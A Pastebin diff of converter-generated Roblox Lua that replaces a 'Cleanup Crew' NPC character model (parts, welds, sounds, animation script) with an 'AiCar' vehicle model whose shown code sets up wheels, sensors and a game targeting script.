View difference between Paste ID: EP4BHzxj and 1uMYQqGp
SHOW: | | - or go back to the newest paste.
1
2
--Converted with ttyyuu12345's model to script plugin v4
3
function sandbox(var,func)
4
	local env = getfenv(func)
5
	local newenv = setmetatable({},{
6
		__index = function(self,k)
7
			if k=="script" then
8
				return var
9
			else
10
				return env[k]
11
			end
12
		end,
13
	})
14
	setfenv(func,newenv)
15
	return func
16
end
17
cors = {}
18
mas = Instance.new("Model",game:GetService("Lighting"))
19
Model0 = Instance.new("Model")
20-
Part1 = Instance.new("Part")
20+
Model1 = Instance.new("Model")
21-
SpecialMesh2 = Instance.new("SpecialMesh")
21+
Model2 = Instance.new("Model")
22-
Sound3 = Instance.new("Sound")
22+
Part3 = Instance.new("Part")
23-
Sound4 = Instance.new("Sound")
23+
Part4 = Instance.new("Part")
24-
Decal5 = Instance.new("Decal")
24+
Part5 = Instance.new("Part")
25-
Weld6 = Instance.new("Weld")
25+
Part6 = Instance.new("Part")
26-
Weld7 = Instance.new("Weld")
26+
Part7 = Instance.new("Part")
27
Part8 = Instance.new("Part")
28-
Motor6D9 = Instance.new("Motor6D")
28+
BodyGyro9 = Instance.new("BodyGyro")
29-
Motor6D10 = Instance.new("Motor6D")
29+
Script10 = Instance.new("Script")
30-
Motor6D11 = Instance.new("Motor6D")
30+
StringValue11 = Instance.new("StringValue")
31-
Weld12 = Instance.new("Weld")
31+
Script12 = Instance.new("Script")
32-
Weld13 = Instance.new("Weld")
32+
Model13 = Instance.new("Model")
33-
Part14 = Instance.new("Part")
33+
Humanoid14 = Instance.new("Humanoid")
34-
Part15 = Instance.new("Part")
34+
Script15 = Instance.new("Script")
35-
Weld16 = Instance.new("Weld")
35+
Part16 = Instance.new("Part")
36-
Part17 = Instance.new("Part")
36+
IntValue17 = Instance.new("IntValue")
37-
Part18 = Instance.new("Part")
37+
BoolValue18 = Instance.new("BoolValue")
38-
Part19 = Instance.new("Part")
38+
Script19 = Instance.new("Script")
39-
Motor6D20 = Instance.new("Motor6D")
39+
Model20 = Instance.new("Model")
40-
Script21 = Instance.new("Script")
40+
Model21 = Instance.new("Model")
41-
StringValue22 = Instance.new("StringValue")
41+
Part22 = Instance.new("Part")
42-
Animation23 = Instance.new("Animation")
42+
SpecialMesh23 = Instance.new("SpecialMesh")
43-
StringValue24 = Instance.new("StringValue")
43+
Part24 = Instance.new("Part")
44-
Animation25 = Instance.new("Animation")
44+
Part25 = Instance.new("Part")
45-
StringValue26 = Instance.new("StringValue")
45+
Part26 = Instance.new("Part")
46-
Animation27 = Instance.new("Animation")
46+
Part27 = Instance.new("Part")
47-
NumberValue28 = Instance.new("NumberValue")
47+
SpecialMesh28 = Instance.new("SpecialMesh")
48-
Animation29 = Instance.new("Animation")
48+
Part29 = Instance.new("Part")
49-
NumberValue30 = Instance.new("NumberValue")
49+
SpecialMesh30 = Instance.new("SpecialMesh")
50-
StringValue31 = Instance.new("StringValue")
50+
Part31 = Instance.new("Part")
51-
Animation32 = Instance.new("Animation")
51+
Part32 = Instance.new("Part")
52-
StringValue33 = Instance.new("StringValue")
52+
SpecialMesh33 = Instance.new("SpecialMesh")
53-
Animation34 = Instance.new("Animation")
53+
Part34 = Instance.new("Part")
54-
StringValue35 = Instance.new("StringValue")
54+
Part35 = Instance.new("Part")
55-
Animation36 = Instance.new("Animation")
55+
Part36 = Instance.new("Part")
56-
StringValue37 = Instance.new("StringValue")
56+
SpecialMesh37 = Instance.new("SpecialMesh")
57-
Animation38 = Instance.new("Animation")
57+
Part38 = Instance.new("Part")
58-
Script39 = Instance.new("Script")
58+
Part39 = Instance.new("Part")
59-
Shirt40 = Instance.new("Shirt")
59+
SpecialMesh40 = Instance.new("SpecialMesh")
60-
Pants41 = Instance.new("Pants")
60+
Part41 = Instance.new("Part")
61-
Hat42 = Instance.new("Hat")
61+
SpecialMesh42 = Instance.new("SpecialMesh")
62
Part43 = Instance.new("Part")
63
SpecialMesh44 = Instance.new("SpecialMesh")
64
Part45 = Instance.new("Part")
65-
Sound46 = Instance.new("Sound")
65+
Part46 = Instance.new("Part")
66-
Sound47 = Instance.new("Sound")
66+
Part47 = Instance.new("Part")
67-
Part48 = Instance.new("Part")
67+
SpecialMesh48 = Instance.new("SpecialMesh")
68-
SpecialMesh49 = Instance.new("SpecialMesh")
68+
Part49 = Instance.new("Part")
69-
Script50 = Instance.new("Script")
69+
Part50 = Instance.new("Part")
70-
Humanoid51 = Instance.new("Humanoid")
70+
Part51 = Instance.new("Part")
71-
Hat52 = Instance.new("Hat")
71+
Part52 = Instance.new("Part")
72-
Part53 = Instance.new("Part")
72+
SpecialMesh53 = Instance.new("SpecialMesh")
73-
SpecialMesh54 = Instance.new("SpecialMesh")
73+
Part54 = Instance.new("Part")
74-
Model0.Name = "Cleanup Crew"
74+
Part55 = Instance.new("Part")
75
Part56 = Instance.new("Part")
76-
Model0.PrimaryPart = Part1
76+
Part57 = Instance.new("Part")
77-
Part1.Name = "Head"
77+
Part58 = Instance.new("Part")
78-
Part1.Parent = Model0
78+
Part59 = Instance.new("Part")
79-
Part1.BrickColor = BrickColor.new("Pastel brown")
79+
Part60 = Instance.new("Part")
80-
Part1.Rotation = Vector3.new(0, -90, 0)
80+
Part61 = Instance.new("Part")
81-
Part1.FormFactor = Enum.FormFactor.Symmetric
81+
Part62 = Instance.new("Part")
82-
Part1.Size = Vector3.new(2, 1, 1)
82+
Part63 = Instance.new("Part")
83-
Part1.CFrame = CFrame.new(12.4519968, 4.5, 63.8128319, -5.73683906e-07, -9.13071307e-09, -1, 7.667877e-09, 1, -9.13071752e-09, 1, -7.66788233e-09, -5.73683906e-07)
83+
Part64 = Instance.new("Part")
84-
Part1.TopSurface = Enum.SurfaceType.Smooth
84+
Part65 = Instance.new("Part")
85-
Part1.Color = Color3.new(1, 0.8, 0.6)
85+
SpecialMesh66 = Instance.new("SpecialMesh")
86-
Part1.Position = Vector3.new(12.4519968, 4.5, 63.8128319)
86+
Part67 = Instance.new("Part")
87-
Part1.Orientation = Vector3.new(0, -90, 0)
87+
Part68 = Instance.new("Part")
88-
Part1.Color = Color3.new(1, 0.8, 0.6)
88+
Model69 = Instance.new("Model")
89-
SpecialMesh2.Parent = Part1
89+
Part70 = Instance.new("Part")
90-
SpecialMesh2.Scale = Vector3.new(1.25, 1.25, 1.25)
90+
Part71 = Instance.new("Part")
91-
SpecialMesh2.Scale = Vector3.new(1.25, 1.25, 1.25)
91+
SpecialMesh72 = Instance.new("SpecialMesh")
92-
Sound3.Name = "Die"
92+
Part73 = Instance.new("Part")
93-
Sound3.Parent = Part1
93+
SpecialMesh74 = Instance.new("SpecialMesh")
94-
Sound3.Pitch = 1.1000000238419
94+
Part75 = Instance.new("Part")
95-
Sound3.SoundId = "rbxassetid://657622857"
95+
SpecialMesh76 = Instance.new("SpecialMesh")
96-
Sound3.Volume = 1
96+
Part77 = Instance.new("Part")
97-
Sound4.Name = "SeeEnemy"
97+
SpecialMesh78 = Instance.new("SpecialMesh")
98-
Sound4.Parent = Part1
98+
Part79 = Instance.new("Part")
99-
Sound4.SoundId = "rbxassetid://657622327"
99+
Part80 = Instance.new("Part")
100-
Sound4.Volume = 1
100+
Part81 = Instance.new("Part")
101-
Decal5.Parent = Part1
101+
SpecialMesh82 = Instance.new("SpecialMesh")
102-
Decal5.Texture = "http://www.roblox.com/asset/?id=41675658"
102+
Part83 = Instance.new("Part")
103-
Weld6.Name = "HeadWeld"
103+
Part84 = Instance.new("Part")
104-
Weld6.Parent = Part1
104+
SpecialMesh85 = Instance.new("SpecialMesh")
105-
Weld6.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
105+
Part86 = Instance.new("Part")
106-
Weld6.C1 = CFrame.new(0, -0.100000001, -0.0700000003, 1, 0, -0, 0, 0.980580688, 0.196116135, 0, -0.196116135, 0.980580688)
106+
Part87 = Instance.new("Part")
107-
Weld6.Part0 = Part1
107+
SpecialMesh88 = Instance.new("SpecialMesh")
108-
Weld6.Part1 = Part43
108+
Part89 = Instance.new("Part")
109-
Weld7.Name = "HeadWeld"
109+
SpecialMesh90 = Instance.new("SpecialMesh")
110-
Weld7.Parent = Part1
110+
Part91 = Instance.new("Part")
111-
Weld7.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
111+
SpecialMesh92 = Instance.new("SpecialMesh")
112-
Weld7.C1 = CFrame.new(0, -0.100000001, -0.0700000003, 1, 0, 0, 0, 1, 0, 0, 0, 1)
112+
Part93 = Instance.new("Part")
113-
Weld7.Part0 = Part1
113+
SpecialMesh94 = Instance.new("SpecialMesh")
114-
Weld7.Part1 = Part53
114+
Model95 = Instance.new("Model")
115-
Part8.Name = "Torso"
115+
Part96 = Instance.new("Part")
116-
Part8.Parent = Model0
116+
SpecialMesh97 = Instance.new("SpecialMesh")
117-
Part8.BrickColor = BrickColor.new("Institutional white")
117+
Part98 = Instance.new("Part")
118-
Part8.Rotation = Vector3.new(0, -90, 0)
118+
Part99 = Instance.new("Part")
119-
Part8.FormFactor = Enum.FormFactor.Symmetric
119+
Part100 = Instance.new("Part")
120-
Part8.Size = Vector3.new(2, 2, 1)
120+
SpecialMesh101 = Instance.new("SpecialMesh")
121-
Part8.CFrame = CFrame.new(12.4519968, 2.99999976, 63.8128319, -5.73683906e-07, -9.13071307e-09, -1, 7.667877e-09, 1, -9.13071752e-09, 1, -7.66788233e-09, -5.73683906e-07)
121+
Part102 = Instance.new("Part")
122-
Part8.LeftSurface = Enum.SurfaceType.Weld
122+
Script103 = Instance.new("Script")
123-
Part8.RightSurface = Enum.SurfaceType.Weld
123+
StringValue104 = Instance.new("StringValue")
124-
Part8.Color = Color3.new(0.972549, 0.972549, 0.972549)
124+
IntValue105 = Instance.new("IntValue")
125-
Part8.Position = Vector3.new(12.4519968, 2.99999976, 63.8128319)
125+
BoolValue106 = Instance.new("BoolValue")
126-
Part8.Orientation = Vector3.new(0, -90, 0)
126+
BoolValue107 = Instance.new("BoolValue")
127-
Part8.Color = Color3.new(0.972549, 0.972549, 0.972549)
127+
BrickColorValue108 = Instance.new("BrickColorValue")
128-
Motor6D9.Name = "Right Hip"
128+
Script109 = Instance.new("Script")
129-
Motor6D9.Parent = Part8
129+
BoolValue110 = Instance.new("BoolValue")
130-
Motor6D9.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
130+
Model111 = Instance.new("Model")
131-
Motor6D9.C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
131+
Part112 = Instance.new("Part")
132-
Motor6D9.Part0 = Part8
132+
Model113 = Instance.new("Model")
133-
Motor6D9.Part1 = Part18
133+
Part114 = Instance.new("Part")
134-
Motor6D9.MaxVelocity = 0.10000000149012
134+
Script115 = Instance.new("Script")
135-
Motor6D10.Name = "Left Hip"
135+
BodyGyro116 = Instance.new("BodyGyro")
136-
Motor6D10.Parent = Part8
136+
BodyPosition117 = Instance.new("BodyPosition")
137-
Motor6D10.C0 = CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
137+
Part118 = Instance.new("Part")
138-
Motor6D10.C1 = CFrame.new(-0.5, 1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
138+
Part119 = Instance.new("Part")
139-
Motor6D10.Part0 = Part8
139+
Model120 = Instance.new("Model")
140-
Motor6D10.Part1 = Part17
140+
Part121 = Instance.new("Part")
141-
Motor6D10.MaxVelocity = 0.10000000149012
141+
Part122 = Instance.new("Part")
142-
Motor6D11.Name = "Neck"
142+
Script123 = Instance.new("Script")
143-
Motor6D11.Parent = Part8
143+
Script124 = Instance.new("Script")
144-
Motor6D11.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
144+
IntValue125 = Instance.new("IntValue")
145-
Motor6D11.C1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
145+
ObjectValue126 = Instance.new("ObjectValue")
146-
Motor6D11.Part0 = Part8
146+
BoolValue127 = Instance.new("BoolValue")
147-
Motor6D11.Part1 = Part1
147+
Script128 = Instance.new("Script")
148-
Motor6D11.MaxVelocity = 0.10000000149012
148+
Model129 = Instance.new("Model")
149-
Weld12.Parent = Part8
149+
Part130 = Instance.new("Part")
150-
Weld12.C1 = CFrame.new(-1.20000005, 0.5, 0.400000006, 0.99619472, 0, -0.087155737, 0.087155737, 1.19248806e-08, 0.99619472, 1.03932174e-09, -1, 1.18795027e-08)
150+
SpecialMesh131 = Instance.new("SpecialMesh")
151-
Weld12.Part0 = Part8
151+
Part132 = Instance.new("Part")
152-
Weld12.Part1 = Part15
152+
SpecialMesh133 = Instance.new("SpecialMesh")
153-
Weld13.Parent = Part8
153+
Part134 = Instance.new("Part")
154-
Weld13.C1 = CFrame.new(0.800000012, 0.5, 0.400000006, 0.766044438, 0, 0.642787576, -0.642787576, 1.19248806e-08, 0.766044438, -7.66516539e-09, -1, 9.13498877e-09)
154+
SpecialMesh135 = Instance.new("SpecialMesh")
155-
Weld13.Part0 = Part8
155+
Part136 = Instance.new("Part")
156-
Weld13.Part1 = Part14
156+
SpecialMesh137 = Instance.new("SpecialMesh")
157-
Part14.Name = "Left Arm"
157+
Part138 = Instance.new("Part")
158-
Part14.Parent = Model0
158+
SpecialMesh139 = Instance.new("SpecialMesh")
159-
Part14.BrickColor = BrickColor.new("Pastel brown")
159+
Part140 = Instance.new("Part")
160-
Part14.Rotation = Vector3.new(90, 0, 130)
160+
SpecialMesh141 = Instance.new("SpecialMesh")
161-
Part14.CanCollide = false
161+
Part142 = Instance.new("Part")
162-
Part14.FormFactor = Enum.FormFactor.Symmetric
162+
SpecialMesh143 = Instance.new("SpecialMesh")
163-
Part14.Size = Vector3.new(1, 2, 1)
163+
Part144 = Instance.new("Part")
164-
Part14.CFrame = CFrame.new(13.3492489, 3.39999986, 63.521389, -0.642787993, -0.76604408, -4.27125002e-12, 4.82280882e-12, 1.52944324e-12, -1, 0.76604408, -0.642787993, 2.71169719e-12)
164+
Part145 = Instance.new("Part")
165-
Part14.Color = Color3.new(1, 0.8, 0.6)
165+
SpecialMesh146 = Instance.new("SpecialMesh")
166-
Part14.Position = Vector3.new(13.3492489, 3.39999986, 63.521389)
166+
Model147 = Instance.new("Model")
167-
Part14.Orientation = Vector3.new(90, -130, 0)
167+
Part148 = Instance.new("Part")
168-
Part14.Color = Color3.new(1, 0.8, 0.6)
168+
Part149 = Instance.new("Part")
169-
Part15.Name = "Right Arm"
169+
SpecialMesh150 = Instance.new("SpecialMesh")
170-
Part15.Parent = Model0
170+
Part151 = Instance.new("Part")
171-
Part15.BrickColor = BrickColor.new("Pastel brown")
171+
Part152 = Instance.new("Part")
172-
Part15.Rotation = Vector3.new(90, 0, 85)
172+
SpecialMesh153 = Instance.new("SpecialMesh")
173-
Part15.CanCollide = false
173+
Part154 = Instance.new("Part")
174-
Part15.FormFactor = Enum.FormFactor.Symmetric
174+
SpecialMesh155 = Instance.new("SpecialMesh")
175-
Part15.Size = Vector3.new(1, 2, 1)
175+
Part156 = Instance.new("Part")
176-
Part15.CFrame = CFrame.new(13.0546808, 3.39999986, 64.9646912, 0.0871551633, -0.99619478, -2.74879053e-09, 8.4344931e-09, 3.49720697e-09, -1, 0.99619478, 0.0871551633, 8.70719674e-09)
176+
SpecialMesh157 = Instance.new("SpecialMesh")
177-
Part15.Color = Color3.new(1, 0.8, 0.6)
177+
BoolValue158 = Instance.new("BoolValue")
178-
Part15.Position = Vector3.new(13.0546808, 3.39999986, 64.9646912)
178+
BrickColorValue159 = Instance.new("BrickColorValue")
179-
Part15.Orientation = Vector3.new(90, -85, 0)
179+
BoolValue160 = Instance.new("BoolValue")
180-
Part15.Color = Color3.new(1, 0.8, 0.6)
180+
BoolValue161 = Instance.new("BoolValue")
181-
Weld16.Name = "RightGrip"
181+
IntValue162 = Instance.new("IntValue")
182-
Weld16.Parent = Part15
182+
Humanoid163 = Instance.new("Humanoid")
183-
Weld16.C0 = CFrame.new(0, -1, 0, 1, 0, -0, 0, 0, 1, 0, -1, 0)
183+
IntValue164 = Instance.new("IntValue")
184-
Weld16.C1 = CFrame.new(0, -0.200000003, 0.200000003, 0, 0, -1, 0, 1, 0, 1, 0, 0)
184+
IntValue165 = Instance.new("IntValue")
185-
Weld16.Part0 = Part15
185+
Script166 = Instance.new("Script")
186-
Weld16.Part1 = Part45
186+
Script167 = Instance.new("Script")
187-
Part17.Name = "Left Leg"
187+
Model0.Name = "AiCar"
188-
Part17.Parent = Model0
188+
189-
Part17.BrickColor = BrickColor.new("Institutional white")
189+
Model1.Name = "Parts"
190-
Part17.Rotation = Vector3.new(0, -90, 0)
190+
Model1.Parent = Model0
191-
Part17.CanCollide = false
191+
Model2.Name = "Wheels"
192-
Part17.FormFactor = Enum.FormFactor.Symmetric
192+
Model2.Parent = Model1
193-
Part17.Size = Vector3.new(1, 2, 1)
193+
Part3.Name = "RLWheel"
194-
Part17.CFrame = CFrame.new(12.4519968, 0.999999762, 63.3128319, -5.73683906e-07, -9.13071307e-09, -1, 7.667877e-09, 1, -9.13071752e-09, 1, -7.66788233e-09, -5.73683906e-07)
194+
Part3.Parent = Model2
195-
Part17.BottomSurface = Enum.SurfaceType.Smooth
195+
Part3.BrickColor = BrickColor.new("Black")
196-
Part17.Color = Color3.new(0.972549, 0.972549, 0.972549)
196+
Part3.Rotation = Vector3.new(120.599998, 0.939999998, 178.940002)
197-
Part17.Position = Vector3.new(12.4519968, 0.999999762, 63.3128319)
197+
Part3.RotVelocity = Vector3.new(11.4377346, 2.73806024, 0.202303275)
198-
Part17.Orientation = Vector3.new(0, -90, 0)
198+
Part3.Velocity = Vector3.new(-0.671034873, -0.109069154, 12.2233582)
199-
Part17.Color = Color3.new(0.972549, 0.972549, 0.972549)
199+
Part3.FormFactor = Enum.FormFactor.Symmetric
200-
Part18.Name = "Right Leg"
200+
Part3.Shape = Enum.PartType.Cylinder
201-
Part18.Parent = Model0
201+
Part3.Size = Vector3.new(3, 3, 3)
202-
Part18.BrickColor = BrickColor.new("Institutional white")
202+
Part3.CFrame = CFrame.new(-40.6017265, 2.09922552, 124.399231, -0.999689043, -0.0184935201, 0.0163928606, -0.0235223789, 0.50862962, -0.860664129, 0.00757821277, -0.860780478, -0.50890553)
203-
Part18.Rotation = Vector3.new(0, -90, 0)
203+
Part3.BottomSurface = Enum.SurfaceType.Smooth
204-
Part18.CanCollide = false
204+
Part3.RightSurface = Enum.SurfaceType.Motor
205-
Part18.FormFactor = Enum.FormFactor.Symmetric
205+
Part3.TopSurface = Enum.SurfaceType.Smooth
206-
Part18.Size = Vector3.new(1, 2, 1)
206+
Part3.Color = Color3.new(0.105882, 0.164706, 0.207843)
207-
Part18.CFrame = CFrame.new(12.4519968, 0.999999762, 64.3128357, -5.73683906e-07, -9.13071307e-09, -1, 7.667877e-09, 1, -9.13071752e-09, 1, -7.66788233e-09, -5.73683906e-07)
207+
Part3.Position = Vector3.new(-40.6017265, 2.09922552, 124.399231)
208-
Part18.BottomSurface = Enum.SurfaceType.Smooth
208+
Part3.Orientation = Vector3.new(59.3899994, 178.159988, -2.64999986)
209-
Part18.Color = Color3.new(0.972549, 0.972549, 0.972549)
209+
Part3.Color = Color3.new(0.105882, 0.164706, 0.207843)
210-
Part18.Position = Vector3.new(12.4519968, 0.999999762, 64.3128357)
210+
Part4.Name = "FLWheel"
211-
Part18.Orientation = Vector3.new(0, -90, 0)
211+
Part4.Parent = Model2
212-
Part18.Color = Color3.new(0.972549, 0.972549, 0.972549)
212+
Part4.BrickColor = BrickColor.new("Black")
213-
Part19.Name = "HumanoidRootPart"
213+
Part4.Rotation = Vector3.new(78.2999954, 1.12, -179.529999)
214-
Part19.Parent = Model0
214+
Part4.RotVelocity = Vector3.new(37.8817902, 0.366261661, -0.159311146)
215-
Part19.BrickColor = BrickColor.new("Bright blue")
215+
Part4.Velocity = Vector3.new(0.25110507, 0.197964758, 17.8664207)
216-
Part19.Transparency = 1
216+
Part4.FormFactor = Enum.FormFactor.Symmetric
217-
Part19.Rotation = Vector3.new(0, -90, 0)
217+
Part4.Shape = Enum.PartType.Cylinder
218-
Part19.FormFactor = Enum.FormFactor.Symmetric
218+
Part4.Size = Vector3.new(3, 3, 3)
219-
Part19.Size = Vector3.new(2, 2, 1)
219+
Part4.CFrame = CFrame.new(-40.5157928, 2.09787703, 135.502441, -0.999769151, 0.00824512914, 0.0195530448, -0.0208184384, -0.202596843, -0.979040921, -0.0041115107, -0.979220271, 0.202721402)
220-
Part19.CFrame = CFrame.new(12.4519968, 2.99999976, 63.8128319, -5.73683906e-07, -9.13071307e-09, -1, 7.667877e-09, 1, -9.13071752e-09, 1, -7.66788233e-09, -5.73683906e-07)
220+
Part4.BottomSurface = Enum.SurfaceType.Smooth
221-
Part19.BottomSurface = Enum.SurfaceType.Smooth
221+
Part4.RightSurface = Enum.SurfaceType.Motor
222-
Part19.TopSurface = Enum.SurfaceType.Smooth
222+
Part4.TopSurface = Enum.SurfaceType.Smooth
223-
Part19.Color = Color3.new(0.0509804, 0.411765, 0.67451)
223+
Part4.Color = Color3.new(0.105882, 0.164706, 0.207843)
224-
Part19.Position = Vector3.new(12.4519968, 2.99999976, 63.8128319)
224+
Part4.Position = Vector3.new(-40.5157928, 2.09787703, 135.502441)
225-
Part19.Orientation = Vector3.new(0, -90, 0)
225+
Part4.Orientation = Vector3.new(78.25, 5.50999975, -174.12999)
226-
Part19.Color = Color3.new(0.0509804, 0.411765, 0.67451)
226+
Part4.Color = Color3.new(0.105882, 0.164706, 0.207843)
227-
Motor6D20.Name = "RootJoint"
227+
Part5.Name = "FRWheel"
228-
Motor6D20.Parent = Part19
228+
Part5.Parent = Model2
229-
Motor6D20.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
229+
Part5.BrickColor = BrickColor.new("Black")
230-
Motor6D20.C1 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
230+
Part5.Rotation = Vector3.new(-102.329994, 1.02999997, 0.889999986)
231-
Motor6D20.Part0 = Part19
231+
Part5.RotVelocity = Vector3.new(37.6021576, -0.547226965, -0.110472873)
232-
Motor6D20.Part1 = Part8
232+
Part5.Velocity = Vector3.new(-0.187616169, -0.317109108, 17.0779247)
233-
Motor6D20.MaxVelocity = 0.10000000149012
233+
Part5.FormFactor = Enum.FormFactor.Symmetric
234-
Script21.Name = "Animate"
234+
Part5.Shape = Enum.PartType.Cylinder
235-
Script21.Parent = Model0
235+
Part5.Size = Vector3.new(3, 3, 3)
236-
table.insert(cors,sandbox(Script21,function()
236+
Part5.CFrame = CFrame.new(-51.5149384, 2.09723473, 135.543533, 0.999709547, -0.0156036913, 0.018060863, -0.020974813, -0.213236988, 0.976775467, -0.0113894492, -0.976868629, -0.213501915)
237-
wait(5)
237+
Part5.BottomSurface = Enum.SurfaceType.Smooth
238-
function waitForChild(parent, childName)
238+
Part5.RightSurface = Enum.SurfaceType.Motor
239-
	local child = parent:findFirstChild(childName)
239+
Part5.TopSurface = Enum.SurfaceType.Smooth
240-
	if child then return child end
240+
Part5.Color = Color3.new(0.105882, 0.164706, 0.207843)
241-
	while true do
241+
Part5.Position = Vector3.new(-51.5149384, 2.09723473, 135.543533)
242-
		child = parent.ChildAdded:wait()
242+
Part5.Orientation = Vector3.new(-77.6299973, 175.160004, -174.37999)
243-
		if child.Name==childName then return child end
243+
Part5.Color = Color3.new(0.105882, 0.164706, 0.207843)
244
Part6.Name = "RRWheel"
245
Part6.Parent = Model2
246
Part6.BrickColor = BrickColor.new("Black")
247-
local Figure = script.Parent
247+
Part6.Rotation = Vector3.new(-64.75, 1.46999991, 0.0700000003)
248-
local Torso = waitForChild(Figure, "Torso")
248+
Part6.RotVelocity = Vector3.new(25.0920029, -0.398336321, -0.469362795)
249-
local RightHip = waitForChild(Torso, "Right Hip")
249+
Part6.Velocity = Vector3.new(-0.69550544, -0.087056458, 16.5394554)
250-
local LeftHip = waitForChild(Torso, "Left Hip")
250+
Part6.FormFactor = Enum.FormFactor.Symmetric
251-
local Neck = waitForChild(Torso, "Neck")
251+
Part6.Shape = Enum.PartType.Cylinder
252-
local Humanoid = waitForChild(Figure, "Humanoid")
252+
Part6.Size = Vector3.new(3, 3, 3)
253-
local pose = "Standing"
253+
Part6.CFrame = CFrame.new(-51.600708, 2.09674978, 124.494125, 0.999666154, -0.0012761876, 0.0255871303, -0.0225983076, 0.426574051, 0.904170275, -0.0120680872, -0.904444993, 0.426402092)
254
Part6.BottomSurface = Enum.SurfaceType.Smooth
255-
local currentAnim = ""
255+
Part6.RightSurface = Enum.SurfaceType.Motor
256-
local currentAnimTrack = nil
256+
Part6.TopSurface = Enum.SurfaceType.Smooth
257-
local currentAnimKeyframeHandler = nil
257+
Part6.Color = Color3.new(0.105882, 0.164706, 0.207843)
258-
local oldAnimTrack = nil
258+
Part6.Position = Vector3.new(-51.600708, 2.09674978, 124.494125)
259-
local animTable = {}
259+
Part6.Orientation = Vector3.new(-64.7099991, 3.42999983, -3.02999997)
260-
local animNames = { 
260+
Part6.Color = Color3.new(0.105882, 0.164706, 0.207843)
261-
	idle = 	{	
261+
Part7.Name = "BSensor"
262-
		{ id = "http://www.roblox.com/asset/?id=125750544", weight = 9 },
262+
Part7.Parent = Model1
263-
		{ id = "http://www.roblox.com/asset/?id=125750618", weight = 1 }
263+
Part7.BrickColor = BrickColor.new("White")
264-
	},
264+
Part7.Rotation = Vector3.new(-179.229996, 89.4899979, 179.5)
265-
	walk = 	{ 	
265+
Part7.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
266-
		{ id = "http://www.roblox.com/asset/?id=125749145", weight = 10 } 
266+
Part7.Velocity = Vector3.new(-0.583751321, -0.557341218, 14.9268761)
267-
	}, 
267+
Part7.Size = Vector3.new(1, 1.20000005, 8)
268-
	run = 	{
268+
Part7.CFrame = CFrame.new(-46.1015892, 2.34793091, 124.44252, -0.00775486277, -6.74181647e-05, 0.999960005, 0.00475054095, 0.999988735, 0.000104205756, -0.999945402, 0.00475120218, -0.00775338616)
269-
		{ id = "run.xml", weight = 10 } 
269+
Part7.Color = Color3.new(0.94902, 0.952941, 0.952941)
270-
	}, 
270+
Part7.Position = Vector3.new(-46.1015892, 2.34793091, 124.44252)
271-
	jump = 	{
271+
Part7.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
272-
		{ id = "http://www.roblox.com/asset/?id=125750702", weight = 10 } 
272+
Part7.Color = Color3.new(0.94902, 0.952941, 0.952941)
273-
	}, 
273+
Part8.Name = "Engine"
274-
	fall = 	{
274+
Part8.Parent = Model1
275-
		{ id = "http://www.roblox.com/asset/?id=125750759", weight = 10 } 
275+
Part8.BrickColor = BrickColor.new("White")
276-
	}, 
276+
Part8.Rotation = Vector3.new(177.369995, -0.219999999, 179.98999)
277-
	climb = {
277+
Part8.RotVelocity = Vector3.new(-1.13230169, -0.0245904382, -0.00745510031)
278-
		{ id = "http://www.roblox.com/asset/?id=125750800", weight = 10 } 
278+
Part8.Velocity = Vector3.new(0.107708216, 0.541628122, 16.6579399)
279-
	}, 
279+
Part8.CanCollide = false
280-
	toolnone = {
280+
Part8.Size = Vector3.new(8, 1.20000005, 1)
281-
		{ id = "http://www.roblox.com/asset/?id=125750867", weight = 10 } 
281+
Part8.CFrame = CFrame.new(-46.0156784, 2.35185194, 135.492783, -0.999987185, -0.000261576526, -0.00377563667, -8.8059518e-05, 0.998947144, -0.0458760969, 0.00378306769, -0.0458750539, -0.998932481)
282-
	},
282+
Part8.TopSurface = Enum.SurfaceType.Smooth
283-
	toolslash = {
283+
Part8.Color = Color3.new(0.94902, 0.952941, 0.952941)
284-
		{ id = "http://www.roblox.com/asset/?id=129967390", weight = 10 } 
284+
Part8.Position = Vector3.new(-46.0156784, 2.35185194, 135.492783)
285-
		--				{ id = "slash.xml", weight = 10 } 
285+
Part8.Orientation = Vector3.new(2.62999988, -179.779999, -0.00999999978)
286-
	},
286+
Part8.Color = Color3.new(0.94902, 0.952941, 0.952941)
287-
	toollunge = {
287+
BodyGyro9.Parent = Part8
288-
		{ id = "http://www.roblox.com/asset/?id=129967478", weight = 10 } 
288+
BodyGyro9.CFrame = CFrame.new(20, 2.20000005, -15.5, -1, 0, -0, -0, 1, -0, -0, 0, -1)
289-
	},
289+
BodyGyro9.maxTorque = Vector3.new(100, 0, 100)
290-
	wave = {
290+
BodyGyro9.P = 100
291-
		{ id = "http://www.roblox.com/asset/?id=128777973", weight = 10 } 
291+
BodyGyro9.D = 5
292-
	},
292+
BodyGyro9.MaxTorque = Vector3.new(100, 0, 100)
293-
	point = {
293+
Script10.Parent = Part8
294-
		{ id = "http://www.roblox.com/asset/?id=128853357", weight = 10 } 
294+
table.insert(cors,sandbox(Script10,function()
295-
	},
295+
--base = script.Parent.Parent.Base
296-
	dance = {
296+
local ZombieTarget = script.Parent.Parent.Parent["Target Zombies"]
297-
		{ id = "http://www.roblox.com/asset/?id=130018893", weight = 10 }, 
297+
local HumanoidTarget = script.Parent.Parent.Parent["Target Humanoids"]
298-
		{ id = "http://www.roblox.com/asset/?id=132546839", weight = 10 }, 
298+
local isTeamGame = script.Parent.Parent.Parent.TeamGame
299-
		{ id = "http://www.roblox.com/asset/?id=132546884", weight = 10 } 
299+
local MyTeamColor = script.Parent.Parent.Parent.TeamColor
300-
	},
300+
local SightRadius = script.Parent.Parent.Parent.ScanRange
301-
	laugh = {
301+
local MyStatus = script.Parent.Parent.MyStatus
302-
		{ id = "http://www.roblox.com/asset/?id=129423131", weight = 10 } 
